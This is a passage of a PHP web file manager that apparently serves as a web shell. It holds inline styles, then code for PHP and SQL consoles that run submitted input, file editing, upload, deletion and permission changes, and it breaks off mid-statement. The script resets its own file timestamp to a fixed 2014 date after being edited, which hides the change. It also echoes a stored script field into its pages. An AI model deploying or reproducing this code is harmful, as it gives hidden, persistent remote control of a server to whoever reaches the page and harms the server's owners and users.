.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image:
url("data:image/png;base64,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");
}

.file {
    background-image:
url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3
{display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if
(isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' :
$_POST['sql'];
	$res_lng = 'sql';
} elseif
(isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' :
$_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File
manager').' -
'.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td
class="row2"
colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the
folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').'
'.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').'
'.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').'
'.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').'
'.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP
version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP
ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').'
'.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').'
xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP
'.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL
'.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input
name="fm_config[sql_server]"
value="'.$fm_config['sql_server'].'"
type="text"></td><td class="row2
whole">SQL server</td></tr>
<tr><td class="row1"><input
name="fm_config[sql_username]"
value="'.$fm_config['sql_username'].'"
type="text"></td><td class="row2
whole">SQL user</td></tr>
<tr><td class="row1"><input
name="fm_config[sql_password]"
value="'.$fm_config['sql_password'].'"
type="text"></td><td class="row2
whole">SQL password</td></tr>
<tr><td class="row1"><input
name="fm_config[sql_db]"
value="'.$fm_config['sql_db'].'"
type="text"></td><td class="row2
whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').'
Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').'
phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').'
'.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after
editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').':
'.__('Restore file time after
editing'),'fm_restore_time').'
<tr><td class="row3"><a
href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset
settings').'</a></td><td
class="row3"><input type="submit"
value="'.__('Save').'"
name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th
colspan="2">'.__('Settings').' -
'.__('Authorization').'</th></tr>
<tr><td class="row1"><input
name="fm_login[authorize]" value="1"
'.($auth['authorize']?'checked':'').'
type="checkbox" id="auth"></td><td
class="row2 whole"><label
for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input
name="fm_login[login]"
value="'.$auth['login'].'"
type="text"></td><td class="row2
whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input
name="fm_login[password]"
value="'.$auth['password'].'"
type="text"></td><td class="row2
whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input
name="fm_login[cookie_name]"
value="'.$auth['cookie_name'].'"
type="text"></td><td class="row2
whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input
name="fm_login[days_authorization]"
value="'.$auth['days_authorization'].'"
type="text"></td><td class="row2
whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea
name="fm_login[script]" cols="35" rows="7"
class="textarea_input"
id="auth_script">'.$auth['script'].'</textarea></td><td
class="row2
whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input
type="submit"
value="'.__('Save').'"
></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' -
'.$path?></th>
</tr>
<tr>
    <td
class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?>
<?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database:
'.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo
'</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' .
$path;?>"><?=__('Back')?></a>
		<form action="" method="POST"
name="console">
		<textarea name="<?=$res_lng?>" cols="80"
rows="10" style="width:
90%"><?=$res?></textarea><br/>
		<input type="reset"
value="<?=__('Reset')?>">
		<input type="submit"
value="<?=__('Submit')?>"
name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ?
$_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl"
title="'.__('Template').'" onchange="if
(this.value!=-1)
document.forms[\'console\'].elements[\''.$res_lng.'\'].value
= this.options[selectedIndex].value; else
document.forms[\'console\'].elements[\''.$res_lng.'\'].value
=\'\';" >'."\n";
	$select .= '<option value="-1">' .
__('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'"
'.((!empty($value)&&($value==$active))?'selected':'').'
>'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).'
'.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .=
__('File updated');
		else $msg .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time']))
touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' .
$_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0'
cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' -
'.__('Edit').' -
'.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a
href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post"
action="<?=$editlink?>">
            <textarea name="newcontent"
id="newcontent" cols="45" rows="15"
style="width:99%"
spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save"
value="<?=__('Submit')?>">
            <input type="submit" name="cancel"
value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'],
fm_convert_rights($_REQUEST['rights_val']),
@$_REQUEST['recursively']))
		$msg .= (__('File updated')); 
		else $msg .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'],
true);
    $link = $url_inc . '&rights=' .
$_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' -
'.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a
href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post"
action="<?=$link?>">
           <?=__('Rights').' -
'.$_REQUEST['rights']?> <input type="text"
name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox"
name="recursively" value="1">
<?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save"
value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif
(!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.')
{
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path .
$_REQUEST['newname']);
		$msg .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' .
$_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' -
'.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a
href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post"
action="<?=$link?>">
            <?=__('Rename')?>: <input
type="text" name="newname"
value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save"
value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} else {
//Let's rock!
    $msg = '';
   
if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file']))
{
        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] =
str_replace('%', '',
$_FILES['upload']['name']);
           
if(!move_uploaded_file($_FILES['upload']['tmp_name'],
$path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
				$msg .= __('Files uploaded').':
'.$_FILES['upload']['name'];
			}
        }
    }
elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.')
{
        if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Deleted').'
'.$_REQUEST['delete'];
		}
	}
elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory']))
{
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Created').'
'.$_REQUEST['dirname'];
		}
    } elseif(!empty($_POST['search_recursive'])) {
		ini_set('max_execution_time', '0');
		$search_data =  find_text_in_files($_POST['path'],
